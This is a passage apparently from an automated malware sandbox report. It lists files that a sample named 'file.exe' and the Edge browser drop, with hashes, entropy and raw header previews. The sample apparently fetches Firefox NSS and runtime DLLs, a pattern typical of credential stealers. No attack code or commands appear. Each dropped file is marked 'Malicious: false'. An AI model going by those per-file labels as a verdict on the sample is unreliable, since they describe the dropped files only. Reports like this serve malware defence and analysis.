"ws://localhost:9229/devtools/page/1C25A8DDADC12FC773973F218F2F592B"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\018b6392-294a-42f9-945a-1b9ed7784372.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\0b00c552-4695-4b07-a5fb-3124142a3c5b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\13ba0118-e1f0-40b3-a4c5-d214234a788f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1718196
Entropy (8bit):	7.836476007001007
Encrypted:	false
SSDEEP:	49152:O4zcX3QB7HQqxbQXNKsQEiNq8zpOkM67OAB+dHu:O4YXgBcjNKsCwRwXkdHu
MD5:	77ABF646C5936D054C3FE56B14139CF6
SHA1:	80522A846A1ABB79815D8A2020870B7BFF60354E
SHA-256:	7458E54C65C3CCC3FE2164430D9FDC566B87B202C2E3B1069EFC928B03768E29
SHA-512:	F58AB253A6E8430FBF59E31BFCAE6DD62D732EFD962354AE2E49607CAAD029B5452C4577898404CD5E4462A6072E64CC29E04404CCC6588D6864870DE18F9BE1
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...qiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628" xmpMM:DocumentID="xmp.did:91EA24D7191011E5B1FF9488C51C29D1" xmpMM:InstanceID="xmp.iid:91EA24D6191011E5B1FF9488C51C29D1" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6a6b844a-8117-4c4c-9b2f-30d3769ed7c7" stRef:documentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>^.i.....IDATx.bb .0..;./..;@...A.P9F...y

C:\Users\user\AppData\Local\Temp\68a989d7-de90-4d82-aada-56790606e3fc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\969b39ba-16a6-4891-8c2a-f60fa614b1eb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\a11f13f2-6317-44e3-9d26-94141963c818.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\a92fad41-728b-4dc6-8f52-2aa0599d620d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41900
Category:	dropped
Size (bytes):	76321
Entropy (8bit):	7.996057445951542
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iys3BBrYunau6wpGzxue:GdS8scZNzFrMa4M+lK5/nXexue
MD5:	D7A1AC56ED4F4D17DD0524C88892C56D
SHA1:	4153CA1A9A4FD0F781ECD5BA9D2A1E68C760ECD4
SHA-256:	0A29576C4002D863B0C5AE7A0B36C0BBEB0FB9AFD16B008451D4142C07E1FF2B
SHA-512:	31503F2F6831070E887EA104296E17EE755BB6BBFB1EF2A15371534BFA2D3F0CD53862389625CF498754B071885A53E1A7F82A3546275DB1F4588E0E80BF7BEE
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.413926930590455
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854Rri:8e2Fa116uCntc5toYU6M
MD5:	50E4B40DC73FE5CFF88D87150B83B2CC
SHA1:	9AB92D43B0233009A60D2E73AE5BE0B3E2205FC3
SHA-256:	D05FB7897043F086350A00C3175F17361229E2D433074AF1EC991D23BE18A2E3
SHA-512:	AC75778177DAB307357D208661B7D8DFA6079074290FB4426860517E51E94A4387D461FEED4CF450C483A1759A8ED7EF6FC0737F552719B839B830D71799E5A8
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\scoped_dir8116_900904939\0b00c552-4695-4b07-a5fb-3124142a3c5b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir8116_900904939\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir8116_900904939\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8116_900904939\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8116_900904939\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
